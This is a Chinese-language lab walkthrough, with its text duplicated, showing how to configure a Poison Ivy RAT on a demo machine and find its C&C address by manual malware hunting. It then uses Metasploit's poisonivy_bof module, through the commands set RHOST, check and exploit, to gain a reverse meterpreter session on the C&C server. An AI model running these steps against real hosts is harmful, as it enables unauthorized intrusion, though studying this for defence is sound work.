PoisonIvy Rat 远程溢出实战
时间:2012-06-18 13:51:04 魔新豆网
From&thx2:
http://badishi.com/poison-ivy-exploit-metasploit-module/
https://twitter.com/badishi
这个Exploit已经集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后单独提出来.
首先为了模拟完整的环境,第一步是抓到已经成为肉鸡的电脑上反向连接的IP,这里顺便介绍下简单ARK工具的使用及手工查马的方法吧.
PI的反向连接配置,这里填的静态IP
启动项及释放目录等,同时设定的插默认浏览器和svchost.exe.
完整的配置信息如下:
- Connection
Connect to: 92.168.124.134:3460:0,
ID: test
Group:
Password: admin
Connect through proxy: No
- Install
ActiveX Startup: Yes
ActiveX Key: {344D13DD-52AF-DD3F-2A33-ED4792414430}
Copy File: Yes
File Name: svchost.exe
Copy File To: System Folder
Melt File: Yes
- Advanced
Process Mutex: )!VoqA.I4
Inject Server: Yes
Persistence: No
Inject into running process: Yes
Inject into: svchost.exe
Key Logger: No
Format: PE
File Alignment: 512
- Build
Icon: No
Execute Third-party Applications: No
在DEMO机器中运行,然后上线了.
DEMO机器中手工用Xuetr查杀,手工查杀木马的方法,对于Ring3层下的无非就是可疑进程,可疑连接,可疑DLL模块,可疑启动项(服务),等等这些了.这里直接参考建立的网络连接.都能看到这里并没有打开IE却有了IE的进程,并且是已经连接的状态了.于是得到C&C的IP地址.
请出Msf黑火星的神器.
msf>search poisonivy
找到exp位置
msf>use /exploit/windows/misc/poisonivy_bof
设定使用exp
msf>show options
查看下设定,只要设定下远程IP(C&C服务器)地址就可以了.
msf>set RHOST 192.168.124.134
检查下是否存在漏洞
msf>check
ok.. just exploit it!
msf>exploit
默认会返回一个反连的meterpreter会话.
最后.测试了下全补丁版本的Windows 2k3 enterprise,可能因为DEP和ALSR技术的原因,没有完全bypass具体的原因没有深入下去了.
http://badishi.com/poison-ivy-exploit-metasploit-module/
https://twitter.com/badishi
这个Exploit已经集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后单独提出来.
首先为了模拟完整的环境,第一步是抓到已经成为肉鸡的电脑上反向连接的IP,这里顺便介绍下简单ARK工具的使用及手工查马的方法吧.
PI的反向连接配置,这里填的静态IP
启动项及释放目录等,同时设定的插默认浏览器和svchost.exe.
完整的配置信息如下:
- Connection
Connect to: 92.168.124.134:3460:0,
ID: test
Group:
Password: admin
Connect through proxy: No
- Install
ActiveX Startup: Yes
ActiveX Key: {344D13DD-52AF-DD3F-2A33-ED4792414430}
Copy File: Yes
File Name: svchost.exe
Copy File To: System Folder
Melt File: Yes
- Advanced
Process Mutex: )!VoqA.I4
Inject Server: Yes
Persistence: No
Inject into running process: Yes
Inject into: svchost.exe
Key Logger: No
Format: PE
File Alignment: 512
- Build
Icon: No
Execute Third-party Applications: No
在DEMO机器中运行,然后上线了.
DEMO机器中手工用Xuetr查杀,手工查杀木马的方法,对于Ring3层下的无非就是可疑进程,可疑连接,可疑DLL模块,可疑启动项(服务),等等这些了.这里直接参考建立的网络连接.都能看到这里并没有打开IE却有了IE的进程,并且是已经连接的状态了.于是得到C&C的IP地址.
请出Msf黑火星的神器.
msf>search poisonivy
找到exp位置
msf>use /exploit/windows/misc/poisonivy_bof
设定使用exp
msf>show options
查看下设定,只要设定下远程IP(C&C服务器)地址就可以了.
msf>set RHOST 192.168.124.134
检查下是否存在漏洞
msf>check
ok.. just exploit it!
msf>exploit
默认会返回一个反连的meterpreter会话.
最后.测试了下全补丁版本的Windows 2k3 enterprise,可能因为DEP和ALSR技术的原因,没有完全bypass具体的原因没有深入下去了.
本文标签:
- 上一篇:防止SQL注入攻击的一些方法小结
- 下一篇:MSSQL 2005 入侵提权过程分享
读过此篇文章的网友还读过:
- 3dmax渲染物体怎么防止色彩溢出?
- 多图实战 手把手教你升级笔记本内存
- 导致内存溢出的原因有哪些?内存溢出问题又如何解决
- 实战讲解跨站入侵攻击
- SurgeMail IMAP服务器LIST 含命令远程栈溢出漏洞
- Mozilla Thunderbird MIME 含外部主体堆溢出漏洞
- GE-Fanuc CIMPLICITY w32rtr.exe 远程堆溢出漏洞
- OpenBSD DHCPD 服务程序远程栈溢出漏洞
- Trillian XML解析器DTD文件缓冲区溢出漏洞
- 联众ConnectAndEnterRoom ActiveX控件栈溢出漏洞
- Linux Audit audit_log_user_command 栈溢出漏洞
- VLC媒体播放器MP4_ReadBox_rdrf()函数堆溢出漏洞